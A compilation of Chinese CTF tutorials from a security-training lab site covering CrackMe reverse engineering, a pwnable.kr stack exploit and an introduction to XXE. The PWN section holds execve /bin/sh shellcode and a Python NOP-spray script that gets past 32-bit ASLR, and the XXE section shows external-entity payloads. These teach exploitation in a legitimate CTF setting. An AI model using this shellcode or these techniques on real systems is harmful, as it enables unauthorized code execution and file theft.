CTF REVERSE练习之API断点
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在逆向分析中经常会遇到输入表这个概念,输入表中保存的是在程序中调用的但定义在其他DLL中的函数信息以及对应的DLL信息。我们在程序中直接调用Windows API的时候,这些API都可以在程序的输入表中可以看到。 使用PEiD可以方便的查看程序的输入表结构,将程序载入PEiD后,点击主界面中的“子系统”,在弹出的“PE细节”中点击“输入表”就可以打开“输入表查看器”了,如图所示: 在实验《CTF REVERSE练习之API定位》中使用的方法其实就是通过输入表中的API来定位关键函数代码的。 虽然输入表中可以看到程序使用了哪些API,进一步通过OD的API参考断点,或者是IDA中的交叉引用就可以定位到程序在哪些地方使用了这些API,但是我们也可以通过动态调用的方式来消除输入表中的API特征。 消除了特征是不是我们就找不到了啊,那我们怎么做题呢 我们可以通过配合使用LoadLibrary以及GetProcAddress,我们就可以动态获取API函数的地址了,其中LoadLibrary用于加载动态链接库,GetProcAddress用于获取指定动态链接库中指定API函数的地址。动态调用的API无法通过OD的输入表API参考断点或者IDA的交叉引用来进行定位。 API断点 在OD中可以对特定的API设置一个断点,不管是直接调用的API还是动态调用的API。 在OD的反汇编指令窗口中按下Ctrl+G快捷键,在弹出的对话框中输入MessageBoxA,单击“确定”按钮后就可以来到MessageBoxA的函数代码了,我们对其第一条指令设置一个断点,即在77D507EA按下F2即可。 在OD左下角的Command窗口中输入bp命令也可以下断点,比如输入bp MessageBoxA,按下Enter就可以对MessageBoxA设置一个断点了。 下面开始实验。 打开蚁景网安实验室(www.yijinglab.com)搜索实验《CTF REVERSE练习之API断点》。 先看题目描述: 主机C:\Reverse\3目录下有一个CrackMe3.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe3.exe程序进行逆向分析和调试,找到正确的过关密码。 这个CrackMe程序不再直接调用MessageBoxA这个API,主要考察通过API断点以及MessageBoxA的阻塞特性来定位关键函数代码的方法,以及在逆向分析中结合使用OD与IDA的方法。 这个实验中程序的外部行为与《CTF REVERSE练习之逆向初探》、《CTF REVERSE练习之API定位》两个实验的程序行为是一致的,因此这里不再赘述。 使用OD载入CrackMe3.exe程序之后,按下Ctrl+G快捷键,输入MessageBoxA定位到MessageBoxA的代码,在第一条指令按下F2设置一个断点,如图所示: 按下F9使程序执行起来,随便输入一个密码(如test)后单击“确定”按钮,程序将在MessageBoxA中的第一条指令断下,这时候依次点击OD菜单中的“调试”——“执行到用户代码”,如下图所示: 我们继续看题这时候CrackMe的错误提示消息框将会弹出来,我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示: 可以知道004015F6处的call就是调用了MessageBoxA函数: 004015F6 . FF55 60 call dword ptr [ebp+60] 我们按F8进行单步跟踪,就可以看到一个奇怪的字符串,而这个字符串就是我们要找的过关密码,如图所示: 我们来用IDA进行分析在实验步骤一中,我们在MessageBoxA断下后,通过“执行到用户代码”回到CrackMe空间的代码,通过简单的F8单步跟踪,就很幸运的看到了过关密码。然而在实际调试过程中,可能需要跟踪很久才能发现一点蛛丝马迹,那么我们可以结合IDA的静态分析功能来加速我们的逆向过程。 在前面的分析中,我们知道在004015F6这个地址调用了MessageBoxA函数,现在使用IDA载入CrackMe3.exe,待分析结束后按下G,然后输入“004015F6”后点击OK按钮,就会自动跳转到004015F6这个地方了,如图所示: 我们在这里按下F5生成函数的伪代码。因为程序中已经对LoadStringA以及MessageBoxA这两个API进行了动态调用,所以这里的伪代码看起来也是非常怪异了,不过我们可以通过添加注释来帮助我们对程序的理解,如图所示: 可以看到程序使用了strcmp对输入的密码进行了判断,如果是HeeTianLab则弹出正确提示,否则弹出错误提示。 第三种利用MessageBox的阻塞特性定位关键代码。 我们知道MessageBox是一个阻塞的API,就是当调用这个API的时候,会弹出一个消息框,此时程序的代码执行流就会自动阻塞在调用MessageBox的地方,直到点击提示框上的按钮或者关闭提示框时,程序才会继续往下执行。 那么在程序弹出MessageBox的时候,我们可以在OD中让程序断下来,然后通过“执行到用户代码”来回到调用MessageBox的地方,这就是说MessageBox本身就类似于“断点”。 使用OD载入CrackMe3.exe,如果之前设置了断点,为了防止干扰,我们需要先清除掉之前设置的断点。通过OD的菜单项“查看”——“断点”可以打开断点窗口,然后通过右键菜单来删除已经设置的断点,如图所示: 断点清理完毕之后,按F9运行程序,随便输入一个密码(如test)进行测试,在弹出消息框之后不要关闭消息框,在OD顶部的工具栏中点击“暂停”执行按钮(或者按F12快捷键),程序就会自动断下,如图所示: 这时候依次点击OD菜单中的“调试”——“执行到用户代码”, 我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示: 接下来和实验步骤一的情况类似了,F8单步跟踪就能看到密码了。 逆向真的是一个很复杂的知识点,想要掌握需要花不少时间,这次实验和上次学习的API定位结合的很紧,有了API定位基础本次实验也能比较好理解。  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之API定位
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要做的实验是CTF REVERSE练习之API定位。 Windows这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application),所以便称之为 Application Programming Interface,简称 API 函数。 另外需要注意的是两种编码,ANSI与Unicode,ANSI的ASCII字符集及其派生字符集(也称多字节字符集)比较旧,而Unicode字符集比较新,固定以双字节表示一个字。Windows操作系统在声明一个API时,如果这个API存在字符串参数,便会指定字符集。每个含有字符串参数的API同时有两个版本:即ANSI,Unicode。尾部带A的API是ANSI版本,带W的API是Unicode版本。 例如:我们在编程时使用的MessageBox实际上是一个宏,根据字符集的不同被定义为不同版本的MessageBox,如果是UNICODE字符集,则实际上为MessasgeBoxW,如果是ANSI字符集,则实际上为MessageBoxA: #ifdef UNICODE #define MessageBox MessageBoxW #else #define MessageBox MessageBoxA #endif // !UNICODE 交叉引用。 通过交叉引用(XREF)可以知道指令代码相互调用的关系,如下图所示: 这句“CODE XREF: WinMain(x,x,x,x)+10↑p”,表示调用sub_41BD0D这个函数的地方为WinMain函数,p表示是以函数调用(procedure)的方式跳转到当前的位置的,其他的一些符号:o表示偏移值(offset),j表示跳转(jump)。 在sub_41BD0D上面按X键,可以打开交叉引用窗口,这里会列出所有调用了sub_41BD0D这个函数的地方,如图所示: 从图中可以看到,只有在WinMain函数中调用了sub_41BD0D这个函数。 现在我们开始进行实验,进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410022800001。 先看题目描述,主机C:\Reverse\2目录下有一个CrackMe2.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe2.exe程序进行逆向分析和调试,找到正确的过关密码。 不管在什么场景下,相信大家在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。 通过对CrackMe2.exe程序的观察,我们知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息: 当输入一串测试数据时,提示如下信息: 通过这些操作后,我们可以猜测程序的意图是输入一个正确的密码。 在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe2.exe没有加壳,且它是使用VC6编译的。 我们来试一试使用OD载入CrackMe2.exe程序,如果继续使用实验《CTF REVERSE练习之逆向初探》中提到的方法查找字符串,是找不到的,会有如下提示: 继续看我们在反汇编指令列表中单击右键,在右键菜单中依次选择“查找”——“当前模块中的名称(标签)”,如图所示: 点击弹出的名称窗口,在键盘上敲下MESSAGEBOXA,就会自动定位到MessageBoxA,点击鼠标选中MessageBoxA这一行,单击右键,在弹出的右键菜单中选择“在每个参考上设置断点”,如图所示: 在OD最下方的状态栏上可以看到“已设置 2 个断点”的提示。 现在按F9运行程序,随便给程序输入一个密码(如test),单击确定按钮后程序将在OD中断下,断下的位置为对MessageBoxA的调用的位置,如图所示: 这就是我们要找的关键函数,现在我们查看附近的代码,就找到了密码明文,如图所示: 用OD解题之后,我们继续用IDA来解题一下。 使用IDA载入CrackMe2.exe程序进行分析,等待分析完毕后,选择主窗口面板上的Imports TAB页面,然后在键盘上敲下MESSAGEBOXA,就可以自动定位到MessageBoxA函数,如图所示: 前面提到了交叉引用这里我们可以用到双击00422420这个条目,来到MessageBoxA定义的位置,选中后按下X键,弹出交叉引用列表窗口,我们看到一共有四个条目,如图所示: 我们并不能直接看出哪一个引用就是我们所要找的引用,所以需要一个一个进行查看,根据前面使用OD对程序的分析,我们知道在MessageBoxA之前有许多对LoadString的调用,因此通过对比几个交叉引用,可以断定sub_401450就是我们要找的函数。 使用F5还原sub_401450函数的伪代码,我们断定LoadString加载资源ID为0x6A的字符串就是我们要找的密码,伪代码如下: 接下来我们使用Restorator打开CrackMe2.exe程序来查看字符串资源,如图所示,0x6A的十进制即106,因此可以知道密码就是HeeTianLab了。 那今天的实验就介绍到这里。我们需要好好掌握API还有后面的实验内容。  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF-REVERSE练习之逆向初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 逆向是指通过反汇编和调试等一些手段及工具,分析计算机程序的二进制可执行代码,从而获得程序的算法细节和实现原理的技术。不仅如此,逆向技能在信息安全面向的具体工作,如恶意代码分析、软件漏洞挖掘、移动安全以及对软件的破解方面发挥着巨大的作用。 前面介绍过CTF的web真题,那今天我们从CTF中选择一个REVERSE题型来讲解。 先介绍一下,REVERSE是CTF竞赛中的一种常见题目类型,主要考察参赛选手逆向工程相关的知识,考查形式为通过对一个二进制程序(exe、dll或者是elf等)进行逆向分析,了解程序内部的实现机制,最终目的可能是得到一个密码,或者是编写一个注册机用于计算指定用户名对应的注册码等。 那我们要怎么才能对一个程序进行逆向,一个完整的程序怎么看到它的代码呢? 当然别人也想到过这种问题,所以就出现了几种帮助逆向的工具。 1.PEiD是一款著名的查壳工具,其功能十分强大,几乎可以侦测出绝大部分的壳以及程序编译信息。PEiD支持各种外部插件,同时支持用户自定义的加壳程序签名信息。 2.Ollydbg简称OD,是一款具有图形用户界面的用户模式调试器,可以运行于各种主流Windows操作系统下。Ollydbg具有动态调试和静态分析功能,非常容易上手,对异常的跟踪处理相当灵活,并且许多爱好者为这款调试器编写了许多非常棒的插件,这些特性使得其成为Windows操作系统上用户模式下动态调试器的首选。Ollydbg的反汇编引擎十分强大,可以识别数千个被C和Windows频繁使用的函数,并可以自动对参数进行注释。底下是OD一些常用的快捷键。 F2 设置一个断点(如果断点已经存在,那么断点将被删除) F4 运行到光标所在行(运行到光标所在行时自动断下) F7 单步跟踪(如果遇到一个call,则跟踪进入) F8 单步跟踪(如果遇到一个call,则执行完整个call) F9 继续执行(运行程序,直到进程退出或遇到下一个断点) 3.IDA是一款交互式反汇编工具,其功能十分强大,支持多操作系统、多处理器下的二进制程序的反汇编分析,并且可以和使用者进行交互来提升处理效率。IDA支持插件,支持IDC脚本,Hex-Rays Decompiler是IDA一个十分强大的插件,支持将反汇编代码直接转换为C语言伪代码,极大的提高了反汇编分析人员的工作效率。这底下是ida的快捷键可以帮助我们更加高效的进行分析。 空格 在图形模式和列表视图模式之间切换反汇编视图 F5 将反汇编指令还原为伪代码 x 查看交叉引用 n 对变量名或者函数名进行重命名操作 d 将二进制数据解释为字节/双字/四字 c 将二进制数据解释为代码 a 将二进制数据解释为字符串 实验步骤 好我们来开始实验,先进入实验网页:CTF-REVERSE练习之逆向初探。 题目描述: 主机C:\Reverse\1目录下有一个CrackMe1.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe1.exe程序进行逆向分析和调试,找到正确的过关密码。 我们开始第一步进行外部行为分析不管在什么场景下,相信你在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。 我们通过对CrackMe1.exe程序的观察,知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息: 当输入一串测试数据时,提示如下信息: 这里有弹框还有提示,我们是不是直接去查找这个提示就可以了呢。但是我们在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。之前提到了PEID,我们就用PEID来查壳我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe1.exe没有加壳,且它是使用VC6编译的。 我们换OD来进行动态调试, 动态调试可以帮助我们了解程序内部执行逻辑的许多详细信息,很多信息只有在程序运行起来之后才会看到,这也是静态分析所无法简单获取到的。OD是我们在Windows操作系统下动态调试器的首选。 操作选择CrackMe1.exe程序后单击右键,在右键菜单中选择“用OllyICE”打开,就会进行OD调试器的主界面,我们在反汇编指令列表窗口中单击右键,依次选择“Ultra String Reference”、“Find ASCII”菜单项,如图所示: 之后会弹出字符串列表窗口,这个窗口列出了当前进程内存空间中存在的各种字符串,我们可以查看是否存在有我们感兴趣的字符串。比如前面曾经提示“密码错误”的提示,那么我们就可以按下Ctrl+F,在弹出的窗口中输入“密码错误”,然后单击确定按钮查找: 上面还有一个密码正确,恭喜过关,这是不是关键呢?我们试一试双击这个看看。 双击找到字符串的那一行,来到OD的反汇编窗口,就能看到代码指令中引用这个字符串的地方了。如下图所示: 在这个代码片段中,我们还看到了一个jnz跳转指令,这个指令是否跳转将决定着弹出成功的提示还是弹出失败的提示,这样的跳转也就是所谓的关键跳转。在关键跳转之上的代码往往就是关键的密码判断逻辑,因此我们可以着重分析关键跳转之上的代码。在关键跳转之上,我们在下面的的位置下一个断点(鼠标单击这行代码选中,然后按下F2): 00401456 . 55 push ebp 下好断点之后,按下F9运行程序,随便输入一个密码(比如test)后单击按钮,程序就自动在我们的断点断下了,接下来按F8开始进行单步跟踪,当跟踪到00401490的时候,我们发现了我们输入的密码test,同时发现字符串HeeTianLab,如图所示: 仔细分析上面的代码,发现是在从这两个字符串里面取出字符一个一个进行对比,只要有一个字符不一样,最终都会跳转到提示失败的地方去。那么可以猜测HeeTianLab就是正确的密码了,我们运行另一个CrackMe1进程,输入HeeTianLab,弹出成功提示: 这就通关了,接下来我用另外一个神器IDA再来做一遍,有动态的神器,肯定还有一个静态的神器。 除了动态调试之外,静态分析也是一种很重要的技能。静态分析可以帮助我们快速了解程序的代码执行逻辑,尤其是使用IDA的Hex-Rays插件将汇编代码生成伪代码的功能,可以极大地提高我们的分析效率。 使用IDA打开CrackMe1.exe程序,IDA会提示选择文件类型、处理器类型等,通常我们不需要修改这些设置,直接单击“OK”按钮即可。之后IDA会对程序进行分析,等待一段时间,待分析结束之后,在下方的“Output Window”中会提示“The initial autoanalysis has been finished.”,如图: 在IDA的菜单中选择“View”——“Open subviews”——“Strings”菜单项,就可以弹出字符串列表界面了,如图所示: IDA的字符串列表界面没有提供Ctrl+F快捷进行查找的功能,所以我们需要手工翻页来查找我们感兴趣的字符串,拖到某一个地方的时候我们看到了提示相关的字符串: 双击“密码错误”这个字符串,来定定义该字符串的地方,然后鼠标点击字符串的名字,然后按下x键,进行交叉引用查找,弹出的对话框如下图所示: 单击OK按钮来到引用这个字符串的地方,我们看到了一堆反汇编指令列表,这时候就可以对这里的汇编指令进行分析了,如果不想看汇编指令也不要紧,按下F5键就可以生成函数的伪代码了,我们看到伪代码中将输入的密码和HeeTianLab进行了比较: 很明显,HeeTianLab就是我们想要的密码。 逆向的学习是一个需要对计算机相关及编程知识系统有较深了解的过程,它是一个不断渐进的阶段性技能。想学好逆向,你必须具备众多的编程语言储备、安全相关知识、对计算机原理有良好的认识和常识。而这些只是逆向的基础!  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF 一次PWN解题的小技巧
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 前几天在国外的某个ctf社区发现了一道好玩的赛题。 建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。 基本的Linux知识 对于X86有基本的了解 了解堆栈工作原理 C语言的基本知识 了解缓冲区溢出漏洞的原理 基本的python开发能力 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814131600001  (CTF PWN进阶训练实战,尝试溢出一个URL解码程序。) 计算机字节和shell的魅力 我第一次接触到网络安全编程时,我就已经发现开发其实是一门艺术,并且研究员需要很高的水平才能胜任这一工作,因为很多时候你需要各种领域的知识进行结合。例如。C语言、汇编、堆栈、利用python进行漏洞开发利用等,当然,这些只是冰山一角。 对于一个刚进入漏洞利用开发领域的小白来说,这可能是很难的,因为这是一个从零开始进行积累的过程。 作为一名小菜鸡,我决定先挑战这个网站的最简单的pwn赛题。别问为什么,问就是别的试题太难了。   进入正题 让我们先进入SSH! ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222 (对于Windows用户,我强烈推荐使用xshell,它是一款很好上手的软件,可用于处理ssh会话并轻松下载软件) 在ssh内,我们运行“ ls”命令,仅找到一个二进制文件和我们的flag文件,由于我们没有任何权限,因此无法进行读取。 我们先下载二进制文件并对其进行一些检查:先使用“ file”命令进行查看。该命令可以让我们查看二进制文件的详细信息,包括其体系结构,位数(x64与x32)和其他很多的细节。 从输出的内容中我们可以看到,该文件是x86体系结构的32位ELF文件,并且是静态链接的。 可是等等… 注意这个细节! 让我们运行这个二进制文件,看看会发生什么情况: 从二进制文件具有损坏的header并且在执行时崩溃的情况可以看出,我们猜测现在这个二进制文件可能与通常我们看到的文件有所不同。 让我们在ida中打开二进制文件并检查代码 这可能是我见过的最简短的文件了,整个程序只有4条指令。 我们从栈中执行两个pop指令,从edx指向的地方取值,然后跳转到它。 但是等等......这个程序中没有进行任何调用,那么哪些值是从栈中弹出的呢? 我们还是用gdb来检查一下吧! 看一下堆栈,我们看到eax将接收值1,而edx将接收指向该字符串的指针 “/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,这就是我们的二进制文件的路径! 如果继续执行直到调用edx,我们就会明白为什么我们之前会收到段错误的原因了。 这个程序会试图跳转到地址0x6d6f682f,这对应字符串"/hom "的值。它是我们的二进制文件路径的一部分。  我们继续运行我们的程序,参数分别为test1 test2 test3。我们可以通过在gdb中运行以下命令来达到这一目的。 run test1 test2 test3   我们可以看到,现在堆栈已经发生了变化,现在我们的堆栈中有参数,并且堆栈顶部的值已从0x1更改为0x4。 还记得大一学的C语言中,main函数是如何接收输入的吗? Int main(int argc, char * argv [], char * envp) main中的argv [0]始终指向当前二进制文件的路径,argv [1] argv [2]等将包含我们输入的参数。 为了能够成功跳转到所需的位置,我们需要控制argv [0]的值。如果它不是我们输入的参数,我们该如何控制argv [0]呢?  下面隆重介绍一个在神奇的库文件 -- pwnlib,Pwnlib是一个python库,它使我们能够轻松的和进程进行通信。 pwnlib.tubes.process允许我们创建自己的进程并控制它的不同参数(argv,envp)等等。  我编译了以下的代码片段来展示pwnlib的简单使用方式: int main(int argc, char * argv[]) { printf("\nthis is our argv[0] %s\n", argv[0]); } 当我编译运行它的时候,得到了以下的结果。 我们可以使用pwnlib将argv [0]修改为我们自己的字符串, from pwnlib.tubes.process import * argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv() 现在,运行我们的python程序,看看我们从test_argv程序中能得到什么结果: NICE ! 现在,我们知道如何控制argv0参数了,这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。 下一步是检查此二进制文件的安全属性,让我们运行checksec命令看看效果: RELRO:这里没有RELRO保护; 堆栈:未发现堆栈canary机制; NX: NX已禁用; PIE: 无 PIE; 注意:默认情况下,ASLR在堆栈中是启用状态。 NX保护是一种保护机制,它不允许我们在二进制的代码部分运行代码,这意味着我们不能跳转到栈或堆上的代码来运行它们。 在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下进行编译的,这意味着我们可以跳转到堆上的代码。 这里需要强调一点的是:你如果一开始就直接检查这类保护,整个过程会给你节省很多时间。 在这个例子中,因为我们无法控制返回的地址,而且NX被禁用,那么我们最好的选择就是集中精力找到一种方法跳转到栈上,并执行我们存储在某个参数中的shellcode。 同时,另一方面,如果NX被启用了,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc等许多其他方法)。 现在我们可以控制我们要跳转的位置了,同时我们需要处理ASLR在堆栈层已经被启用这个问题。 我们可以尝试找一条允许我们跳转到堆栈的指令,然后运行我们的shellcode,程序中的其余字节是elf头的一部分。 我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。 看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈,在那里我们能够得到我们存储在参数中的shellcode。 我喜欢手动进行搜索,所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。 如果我们尝试反汇编jmp esp,那么得到的结果是:ff e4 我们尝试使用search-> bytesequence在IDA中搜索此字节。 what? 没结果?  我试着搜索调用esp的字节,却什么也没找到 ! 这就郁闷了! 我们想跳转到堆栈上的代码,但是由于ASLR的存在,我们不知道要跳转到什么地址。 我们尝试找到一个指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。 我尝试了另一个骚操作:跳转到一个允许你向代码部分写入字节的指令。 你可以尝试用这个方法:用jmp esp操作码覆盖其中的一条指令的地址,然后跳转到该指令的地址。 这个过程就像开火车一样,边开边建轨道。 不幸的是,当我用view->Open subviews->segments看看有哪些段的权限的时候,发现了以下的内容。  代码部分仅启用了R和X权限 R-读取权限 X-执行权限 W(写)权限被禁用。 这意味着,如果我们重写代码部分的指令,程序就会崩溃。 我在这个程序上已经用了好几个小时了,尝试了不同的跳转指令的方法,但是我找不到进入栈的方法。 然后,what should I do?  32位的ASLR 我开始尝试查阅32位系统上的ASLR的实现原理(特别强调,我们的二进制文件是32位的)。我找到了下面的解释: "对于32位,有2^32 (4 294 967 296)个地址,然而,内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。 这意味着堆栈的大小可以调整到65,536个字节。 如果我们可以控制数万个shellcode字节,那么我们就可以尝试在堆栈中跳转到一个固定的地址,这样就会有很高的成功率。 下面我检查了一下是否可以用长字符串发送大量的参数。 from pwnlib.tubes.process import * for i in range(600): argv.append("a"*1024) argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv() 在本例中,我们向程序发送了6014400个字节并成功运行。 我们可以传递我们的参数来填满nops,最后发送我们的shellcode。 这样,我们就可以跳转到堆栈上的一个随机地址,希望能够落在我们的nop指令上,然后我们就会一路滑向我们的shellcode。  我写了以下的代码,尝试执行程序。 我们在这里尝试跳转到堆栈上的一个恒定地址:0xffb05544,选择这个地址有两个原因。 1.在这个程序中,我注意到在用gdb执行了很多次之后,这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。 2.我们需要一个没有任何null字节的地址,否则我们会得到 一个异常:"Inappropriate nulls in argv[0]:" 所以我写了以下代码:  import struct import random from pwnlib.tubes.process import * from pwnlib.exception import * import pwnlib EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" def build_shellcode(address): """ Build shellcode address - address  这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果我们成功了,那么我们将能够发送命令"echo we_made_it",看看它的输出。 说干就干! 成功了!现在我们来CTF服务器上检查一下。 请注意,我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag ",这样就得到了flag。 我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下,就像这样。 scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py    终于拿到了我们的flag ! 总结 行文至此,本次测试也就结束了!文章略长,简单做个总结: 在本文中,我们通过使用CTF示例讨论了漏洞利用开发的过程,我们了解了程序如何从argv和argc接收输入的参数。最后,了解了由于较小的随机范围,32位系统中的ASLR为何容易受到攻击,以及如何利用此漏洞进行攻击。   这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
从一道题目学习XXE漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78  (通过该实验了解XXE漏洞的基础知识及演示实践。) 0x01.xxe漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 0x02.xml定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。 0x02.xml的作用 XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。基本语法 所有 XML 元素都须有关闭标签。 XML 标签对大小写敏感。 XML 必须正确地嵌套。 XML 文档必须有根元素。 XML 的属性值须加引号。 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是&lt;,>符号对应的实体就是&gt;) XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。(<!-- -->) 在 XML 中,空格会被保留,多个空格不会被合并为一个。 示例如下: <?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ --> 0x03.xml格式说明 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]><!--文档类型定义--> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Onl 0x04.DTD 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例 1.外部DTD <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Only test!</body> </note><!--文档元素--> test.dtd <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> 0x05.DTD数据类型 PCDATA的意思是被解析的字符数据/ PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本 CDATA的意思是字符数据 CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 0x06.DTD实体介绍 1.内部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ELEMENT note (name,pwd)> <!ENTITY name "admin"> <!ENTITY pwd "admin"> ]> <note> <name>&name;</name> <pwd>&pwd;</pwd> </note><!--文档元素--> 结果如下: 2.外部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ENTITY user SYSTEM "test.xml"> ]> <note>&user;</note><!--文档元素--> 3.参数实体+外部实体 test.xml <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ENTITY % user "admin"> <!ENTITY % pwd "admin"> <!ENTITY % ljpm SYSTEM "./dddd.dtd"> %ljpm; ]> <note>&people;</note><!--文档元素--> dddd.dtd <!ENTITY people "%user;%pwd;"> PS: %name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。XXE主要是利用了DTD引用外部实体导致的漏洞。 0x07.怎么判断网站是否存在XXE漏洞 最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。 0x08.示例如下: 1.实验环境 SpecialOrder 2.分析 首页登录试验环境将会被重定向到一个登录界面: 环境有个注册选项,我们先注册一个用户,然后登录: 首页的右上角有几个路由,代表几个功能,我们可以一一尝试。在http://192.168.153.128:5000/create-post 